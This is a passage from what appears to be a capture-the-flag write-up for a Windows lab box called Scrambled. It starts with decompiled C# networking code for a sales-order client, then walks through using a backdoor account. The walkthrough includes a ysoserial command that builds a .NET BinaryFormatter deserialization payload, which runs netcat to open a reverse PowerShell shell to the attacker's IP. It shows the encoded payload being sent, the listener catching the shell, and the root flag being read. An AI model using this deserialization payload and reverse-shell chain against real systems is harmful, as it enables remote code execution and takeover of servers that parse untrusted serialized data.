                        Log.Write("Deserializing single sales order from base64: " + text);
                        list.Add(SalesOrder.DeserializeFromBase64(text));
                        Log.Write("Deserialization successful");
                    }
                    Log.Write("Finished deserializing all sales orders");
                }
                return list;
            }
            throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
        }
        catch (Exception ex)
        {
            ProjectData.SetProjectError(ex);
            Exception ex2 = ex;
            Log.Write("Error: " + ex2.Message);
            throw ex2;
        }
    }

    public void UploadOrder(SalesOrder NewOrder)
    {
        try
        {
            Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
            string text = NewOrder.SerializeToBase64();
            Log.Write("Order serialized to base64: " + text);
            ScrambleNetResponse scrambleNetResponse = SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, text));
            ScrambleNetResponse.ResponseType type = scrambleNetResponse.Type;
            if (type == ScrambleNetResponse.ResponseType.Success)
            {
                Log.Write("Upload successful");
                return;
            }
            throw new ApplicationException(scrambleNetResponse.GetErrorDescription());
        }
        catch (Exception ex)
        {
            ProjectData.SetProjectError(ex);
            Exception ex2 = ex;
            Log.Write("Error: " + ex2.Message);
            throw ex2;
        }
    }

    private ScrambleNetResponse SendRequestAndGetResponse(ScrambleNetRequest Request)
    {
        Log.Write("Connecting to server");
        TcpClient tcpClient = new TcpClient();
        tcpClient.ReceiveTimeout = checked((int)Math.Round(TimeSpan.FromSeconds(20.0).TotalMilliseconds));
        tcpClient.ReceiveBufferSize = 2048;
        tcpClient.SendBufferSize = 2048;
        tcpClient.Connect(Server, Port);
        try
        {
            using NetworkStream networkStream = tcpClient.GetStream();
            using StreamWriter streamWriter = new StreamWriter(networkStream, Encoding.ASCII);
            streamWriter.AutoFlush = true;
            if (GetResponse(networkStream).Type != ScrambleNetResponse.ResponseType.Banner)
            {
                throw new ApplicationException("Unexpected response from server on initial connection");
            }
            string text = ScrambleNetRequest.GetCodeFromMessageType(Request.Type) + ";" + Request.Parameter + "\n";
            Log.Write("Sending data to server: " + text);
            streamWriter.Write(text);
            Log.Write("Getting response from server");
            ScrambleNetResponse response = GetResponse(networkStream);
            try
            {
                byte[] bytes = Encoding.ASCII.GetBytes("QUIT\n");
                networkStream.Write(bytes, 0, bytes.Length);
                networkStream.Close();
            }
            catch (Exception ex)
            {
                ProjectData.SetProjectError(ex);
                Exception ex2 = ex;
                Log.Write("Error sending QUIT and closing stream: " + ex2.Message);
                ProjectData.ClearProjectError();
            }
            return response;
        }
        finally
        {
            try
            {
                tcpClient.Close();
            }
            catch (Exception ex3)
            {
                ProjectData.SetProjectError(ex3);
                Exception ex4 = ex3;
                Log.Write("Error closing TCP connection: " + ex4.Message);
                ProjectData.ClearProjectError();
            }
        }
    }

    private ScrambleNetResponse GetResponse(NetworkStream NetStream)
    {
        StringBuilder stringBuilder = new StringBuilder();
        byte[] array = new byte[4096];
        NetStream.ReadTimeout = checked((int)Math.Round(TimeSpan.FromSeconds(20.0).TotalMilliseconds));
        string text;
        do
        {
            int num = NetStream.Read(array, 0, array.Length);
            if (num == 0)
            {
                break;
            }
            text = Encoding.ASCII.GetString(array, 0, num);
            stringBuilder.Append(text);
        }
        while (!text.EndsWith("\n"));
        string text2 = stringBuilder.ToString();
        if (string.IsNullOrWhiteSpace(text2))
        {
            throw new ApplicationException("No data received from server");
        }
        Log.Write("Received from server: " + text2);
        Log.Write("Parsing server response");
        return ScrambleNetResponse.FromString(text2);
    }
}

There is a backdoor account with username “scrmdev”

And using it in the client to login and it works

image.png

Once we logged in we have the option to upload a New Order

EDIT: the box became too deep that I lost track of what I was doing plus I was super sick but know

so will jump straight to de-serialization because I took so much time setting up to WIndows VM that actually digging into the vulnerability

C:\Users\MalDevUser\Downloads\ysoserial-1dba9c4416ba6e79b6b262b758fa75e2ee9008e9\Release>ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "C:\users\miscsvc\music\nc64.exe -e powershell 10.10.14.248 4444"
AAEAAAD/////<snip>

Then we listen on port 4411:

❯ nc scrm.local 4411

and then we send the payload:

nc scrm.local 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAAkApBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVd

This is very kiddish but understand that I was very sick and tired

❯ rlwrap -cAr nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.248] from (UNKNOWN) [10.129.88.228] 54812
whoami

Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> cat C:\Users\administrator\Desktop\root.txt
whoami

The other unintended path was using this: https://github.com/antonioCoco/JuicyPotatoNG with the SQL shell

I am really sorry for this